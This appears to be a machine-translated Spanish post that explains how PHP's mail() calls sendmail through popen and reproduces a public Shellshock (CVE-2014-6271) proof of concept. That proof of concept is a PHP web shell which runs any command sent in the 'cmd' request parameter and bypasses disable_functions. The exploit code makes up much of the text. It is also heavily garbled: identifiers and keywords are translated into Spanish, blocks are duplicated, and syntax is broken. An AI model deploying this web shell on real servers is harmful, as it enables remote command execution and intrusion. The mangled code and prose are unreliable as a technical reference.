¿Está bloqueado el comando de ejecución de php?
Primero, hablemos brevemente sobre el proceso de llamar a la función mail() en PHP.
Ver código fuente ext/mail.c
Línea 236:
Predeterminado
char * sendmail _ path = INI _ STR ( " sendmail _ ruta ");
char * sendmail _ cmd = NULL
char * sendmail _ ruta = INI _ STR(" sendmail _ ruta "); p>char * sendmail_cmd = NULL
Obtiene la variable sendmail_path de INI. Veamos cómo se explica en php.ini:
Default
solamente. También puede proporcionar parámetros (predeterminado: "sendmail -t -i").
sendmail_path =
Solo Unix. También puede proporcionar parámetros (predeterminado: "sendmail -t -i").
; sendmail_path =
Como puedes ver en los comentarios, el valor predeterminado de send_mail es "sendmail -t -i".
Cuando existe extra_cmd (algunos parámetros adicionales pasados por el usuario), se llama a spprintf para combinar sendmail_path y extra_cmd en la línea de comando real sendmail_cmd. Si no existe, asigne directamente sendmail_path a sendmail_cmd.
Como se muestra a continuación:
Predeterminado
if (! sendmail_path) {
#if (definido PHP_WIN32 || definido NETWARE )
/*Manejar el envío smtp de win anterior*/
if (TSendMail(INI_STR("SMTP "), & ampTSM_err & tsm_errmsg, hdr, sujeto, a, mensaje, NULL, NULL, NULL TSRMLS_CC) == FALLO) {
if (tsm_errmsg) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", TSM_errmsg
efree); (TSM _ errmsg);
} En caso contrario {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(TSM _ err)) ;
}
MAIL _ RET(0);
}
MAIL _ RET(1
# De lo contrario
MAIL _ RET(0);
#endif
}
if (extra_cmd!= NULL) {
spprintf (& sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd
} else {
sendmail_cmd = sendmail_path
} p>
if (! sendmail_path) {
#if (definido PHP_WIN32 || definido NETWARE)
/*Manejo del envío smtp antiguo de win*/
if (TSendMail(INI_STR("SMTP "),&TSM_err&tsm_errmsg,hdr,subject,to,message,NULL,NULL,NULL TSRMLS_CC) == FALLO) {
if (tsm_errmsg) { p>
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", TSM_errmsg);
efree(TSM _ errmsg
} De lo contrario {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(TSM _ err));
}
MAIL _ RET(0); }
MAIL _ RET(1);
#De lo contrario
MAIL _ RET(0);
#endif
}
if (extra_cmd! = NULL) {
spprintf(& sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd
} En caso contrario {
sendmail _ cmd); = sendmail_path
}
Luego ejecuta:
Predeterminado
#ifdef PHP_WIN32
sendmail = popen_ex (enviar
mail_cmd, "wb", NULL, NULL TSR mls_CC);
# De lo contrario
/*Porque popen() no indica si la bifurcación interna() no funciona
* (por ejemplo, el shell no se puede ejecutar) lo configuramos explícitamente en 0 para
* Por supuesto, no detectamos ningún valor de errno antiguo. */
errno = 0;
sendmail = popen(sendmail_cmd, " w ");
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSR mls _ CC
# De lo contrario
/*Porque popen() no lo hizo; señale que si la bifurcación interna() no funciona
* (por ejemplo, el shell no se puede ejecutar), lo configuramos explícitamente en 0 para
* Por supuesto, no detectamos ninguna viejos valores errno. */
errno = 0;
sendmail = popen(sendmail_cmd, "w");
#endif
Lanzar sendmail_cmd Ejecutar para popen.
Si el sh predeterminado es bash, popen se lanzará a la ejecución de bash. Sin embargo, la vulnerabilidad anterior de ruptura de shell bash (CVE-2014-6271) nos hizo usar directamente la función mail() para ejecutar comandos arbitrarios, sin pasar por enable_functions.
Versión afectada: versión php
Método de reparación: Reparación CVE-2014-6271.
Proporcione POC (/Explosives/35146/) de la siguiente manera:
Predeterminado
& lt? Lenguaje de programación del lado del servidor (abreviatura de Preprocesador de hipertexto profesional)
#Título de la vulnerabilidad: vulnerabilidad PHP 5.x Shellshock (evite las funciones_deshabilitadas)
#Nerd de Google: Ninguno
#Fecha:31/10/2014
# Autor del exploit: Ryan King (Starfall)
Página de inicio del proveedor: mand vía CVE-2014-6271 @ mail c: 283.
$tmp = tempnam(",","data");
putenv(" PHP_LOL =(){ x;};$ cmd & gt$ tmp 2 & gt& amp1 ");
//En modo seguro, los usuarios solo pueden cambiar las variables de entorno cuyos nombres
//comience con el prefijo proporcionado por esta directiva.
//De forma predeterminada, los usuarios solo pueden configurar
//Comenzar con PHP_ (como PHP_FOO=BAR).
Nota: Si esta directiva está vacía,
// PHP permitirá al usuario modificar cualquier variable de entorno.
mail("a@127.0.0.1 ","","","-bv"); // -bv para que en realidad no enviemos ningún correo
$ salida = @ archivo _ get _ contenido($ tmp);
@ desvincular($ tmp
if ($ salida! = " ") devuelve $ salida < / p>
De lo contrario, se devuelve "sin salida o ilegal";
}
echo shell shock($ _ REQUEST[" cmd "]);
& gt
& lt? Lenguaje de programación del lado del servidor (abreviatura de Preprocesador de hipertexto profesional)
#Título de la vulnerabilidad: vulnerabilidad PHP 5.x Shellshock (evite las funciones_deshabilitadas)
#Nerd de Google: Ninguno
#Fecha:31/10/2014
# Autor del exploit: Ryan King (Starfall)
Página de inicio del proveedor: mand vía CVE-2014-6271 @ mail c: 283.
$tmp = tempnam(",","data");
putenv(" PHP_LOL =(){ x;};$ cmd & gt$ tmp 2 & gt& amp1 ");
//En modo seguro, los usuarios solo pueden cambiar las variables de entorno cuyos nombres
//comience con el prefijo proporcionado por esta directiva.
//De forma predeterminada, los usuarios solo pueden configurar
//Comenzar con PHP_ (como PHP_FOO=BAR). Nota: Si esta directiva está vacía,
// PHP permitirá al usuario modificar cualquier variable de entorno.
mail("a@127.0.0.1 ","","","-bv"); // -bv para que en realidad no enviemos ningún correo
$ salida = @ archivo _ get _ contenido($ tmp);
@ desvincular($ tmp
if ($ salida! = " ") devuelve $ salida < / p>
De lo contrario, se devuelve "sin salida o ilegal";
}
echo shell shock($ _ REQUEST[" cmd "]);
& gt
[via@phith0n ]